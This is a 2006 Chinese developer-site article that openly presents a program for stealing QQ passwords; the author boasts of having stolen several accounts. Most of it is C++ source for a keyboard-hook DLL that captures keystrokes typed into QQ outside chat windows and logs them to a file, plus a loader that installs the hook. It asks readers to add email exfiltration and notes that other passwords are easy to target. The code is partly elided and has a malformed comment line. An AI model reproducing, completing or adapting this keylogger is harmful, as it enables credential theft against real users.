WEB开发网
开发学院软件开发VC 一个盗QQ密码的程序 阅读

一个盗QQ密码的程序

 2006-07-20 11:37:34 来源:WEB开发网   
核心提示:本文示例源代码或素材下载 这个程序我早就做好了(QQ也盗了好几个^_^),因为要考试,一个盗QQ密码的程序,所以一直没机会投稿,现在暑假了,return FALSE;hWnd = Info->hwndCaret;//那个闪动的光标的控件if(hWnd == hcaretWnd){return TRUE;}

本文示例源代码或素材下载

这个程序我早就做好了(QQ也盗了好几个^_^),因为要考试,所以一直没机会投稿,现在暑假了,有大把的时间。这个程序有个缺点,就是邮件发送,我在网上找了好久,没一个如意的,如果有能做补充,那最好不过了。

程序分两部分:

一:DLL部分,这部分是一个钩子函数,是为了监视你的键盘输入,如果是输入QQ的,就记下你的数据(如果你要盗其他密码,不很容易吗?)

BOOL DllExport b_Focus()
{
  HWND hWnd;
  GUITHREADINFO* Info = new GUITHREADINFO;
  Info->cbSize = sizeof(GUITHREADINFO);
  if(::GetGUIThreadInfo(NULL,Info) == 0)  //当前线程的信息。
    return FALSE;
  hWnd = Info->hwndCaret;  //那个闪动的光标的控件
  if(hWnd == hcaretWnd)
  {
    return TRUE;
  }
  else
  {
    hcaretWnd = hWnd;
    return FALSE;
  }
}
LRESULT DllExport  CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
  if(::GetCurrentProcessId() != GetQQ())
    return CallNextHookEx(hkb, nCode, wParam, lParam );
  HWND H_wnd = ::GetForegroundWindow();
  char sTitle[255];
  CString ss;
  ::SendMessage(H_wnd,WM_GETTEXT,255,(LPARAM)sTitle);
  ss = sTitle;
  int n = ss.Find("发送消息",0);
  int m = ss.Find("聊天室",0);
  if(m >= 0 || n >= 0)
    return CallNextHookEx(hkb, nCode, wParam, lParam );
  if(nCode == HC_ACTION && (lParam & 0xc000ffff) == 1)
  {
    CString sName;
    BOOL b_Sft = ::GetAsyncKeyState(VK_SHIFT) >> ((sizeof(short) * 8)-1)如果shift按下
    if(b_Sft)
    {
      switch(wParam)
      {
      case ''1'':sName = "!";break;
      case ''A'':sName = "A";break;
      }
    }
    else
    {
      switch(wParam)
      {
      // 0~9  
      case ''1'':sName = "1";break;
      ...
      // A~Z
      case ''A'':sName = "a";break;
      ...
      }
    }
    //数字键
    switch(wParam)
    {
    case VK_BACK:sName = "~";break;
    ...
    case VK_NUMPAD1:sName = "1";break;
    ...
    }
    //其他键的处理
    char KeyName[50];
    ZeroMemory(KeyName,50);
    GetKeyNameText(lParam,KeyName,50);
    CString KeyNameStr=KeyName;
    if(KeyNameStr=="`")
    {
      if(b_Sft)
        sName = "~";
      else
        sName = "`";
    }
    m_pfile.Open("D:\\ww.txt",CFile::modeWrite);
    m_pfile.SeekToEnd();
    if(!b_Focus())
    {
      CString ss = "\r\n";
      m_pfile.Write(ss,ss.GetLength());
    }
    m_pfile.Write(sName, sName.GetLength());
    m_pfile.Close();
  }
  LRESULT RetVal = CallNextHookEx(hkb, nCode, wParam, lParam );  
  return RetVal;
}

具体的请看源代码

二:exe部分,这部分就是加载dll文件,很简单。

static HINSTANCE hinstDLL;
typedef void (CALLBACK *inshook)();//定义回调函数的地址
inshook instkbhook;
if(hinstDLL=LoadLibrary((LPCTSTR)"test3.dll"))
{
  instkbhook=(inshook)GetProcAddress(hinstDLL, "installhook");
  instkbhook();
}

Tags:一个 QQ 密码

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接